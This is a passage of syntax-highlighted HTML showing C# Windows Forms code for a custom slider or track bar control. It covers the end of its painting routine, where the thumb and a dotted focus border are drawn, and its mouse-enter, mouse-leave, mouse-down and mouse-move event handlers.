/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">DrawPath</span><span style="color: #007700">(</span><span style="color: #0000BB">thumbPen</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbPath</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//gp.Dispose();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/*if&nbsp;(Capture&nbsp;||&nbsp;mouseInThumbRegion)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;using&nbsp;(LinearGradientBrush&nbsp;lgbThumb2&nbsp;=&nbsp;new&nbsp;LinearGradientBrush(thumbHalfRect,&nbsp;Color.FromArgb(150,&nbsp;Color.Blue),&nbsp;Color.Transparent,&nbsp;gradientOrientation))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lgbThumb2.WrapMode&nbsp;=&nbsp;WrapMode.TileFlipXY;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;e.Graphics.FillPath(lgbThumb2,&nbsp;gp);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}*/<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//draw&nbsp;focusing&nbsp;rectangle<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">Focused&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">drawFocusRectangle</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">Pen&nbsp;p&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Pen</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">FromArgb</span><span style="color: #007700">(</span><span style="color: #0000BB">200</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">barPenColorPaint</span><span style="color: #007700">)))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">DashStyle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">DashStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">Dot</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Rectangle&nbsp;r&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ClientRectangle</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">r</span><span style="color: #007700">.</span><span style="color: #0000BB">Width&nbsp;</span><span style="color: #007700">-=&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">r</span><span style="color: #007700">.</span><span style="color: #0000BB">Height</span><span style="color: #007700">--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">r</span><span style="color: #007700">.</span><span style="color: #0000BB">X</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//ControlPaint.DrawFocusRectangle(e.Graphics,&nbsp;r);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">using&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">GraphicsPath&nbsp;gpBorder&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">CreateRoundRectPath</span><span style="color: #007700">(</span><span style="color: #0000BB">r</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">borderRoundRectSize</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">SmoothingMode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">SmoothingMode</span><span style="color: #007700">.</span><span style="color: #0000BB">AntiAlias</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Graphics</span><span style="color: #007700">.</span><span style="color: #0000BB">DrawPath</span><span style="color: #007700">(</span><span style="color: #0000BB">p</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">gpBorder</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;catch&nbsp;(</span><span style="color: #0000BB">Exception&nbsp;Err</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"DrawBackGround&nbsp;Error&nbsp;in&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Name&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">":"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Err</span><span style="color: #007700">.</span><span style="color: #0000BB">Message</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;finally<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;Overided&nbsp;events<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;</span><span style="color: #0000BB">bool&nbsp;mouseInRegion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.EnabledChanged"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;An&nbsp;&lt;see&nbsp;cref="T:System.EventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnEnabledChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">EventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnEnabledChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.MouseEnter"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;An&nbsp;&lt;see&nbsp;cref="T:System.EventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnMouseEnter</span><span style="color: #007700">(</span><span style="color: #0000BB">EventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnMouseEnter</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">mouseInRegion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.MouseLeave"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;An&nbsp;&lt;see&nbsp;cref="T:System.EventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnMouseLeave</span><span style="color: #007700">(</span><span style="color: #0000BB">EventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnMouseLeave</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">mouseInRegion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">mouseInThumbRegion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.MouseDown"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;A&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.MouseEventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnMouseDown</span><span style="color: #007700">(</span><span style="color: #0000BB">MouseEventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnMouseDown</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Button&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">MouseButtons</span><span style="color: #007700">.</span><span style="color: #0000BB">Left</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Capture&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Scroll&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Scroll</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">ScrollEventArgs</span><span style="color: #007700">(</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">ThumbTrack</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">trackerValue</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ValueChanged&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ValueChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">OnMouseMove</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;mouseInThumbRegion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Raises&nbsp;the&nbsp;&lt;see&nbsp;cref="E:System.Windows.Forms.Control.MouseMove"&gt;&lt;/see&gt;&nbsp;event.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="e"&gt;A&nbsp;&lt;see&nbsp;cref="T:System.Windows.Forms.MouseEventArgs"&gt;&lt;/see&gt;&nbsp;that&nbsp;contains&nbsp;the&nbsp;event&nbsp;data.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">protected&nbsp;</span><span style="color: #0000BB">override&nbsp;void&nbsp;OnMouseMove</span><span style="color: #007700">(</span><span style="color: #0000BB">MouseEventArgs&nbsp;e</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">base</span><span style="color: #007700">.</span><span style="color: #0000BB">OnMouseMove</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">mouseInThumbRegion&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">IsPointInRect</span><span style="color: #007700">(</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Location</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">thumbRect</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">Capture&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Button&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">MouseButtons</span><span style="color: #007700">.</span><span style="color: #0000BB">Left</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ScrollEventType&nbsp;set&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ScrollEventType</span><span style="color: #007700">.</span><span style="color: #0000BB">ThumbPosition</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Point&nbsp;pt&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">e</span><span style="color: #007700">.</span><span style="color: #0000BB">Location</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barOrientation&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">Orientation</span><span style="color: #007700">.</span><span style="color: #0000BB">Horizontal&nbsp;</span><span style="color: 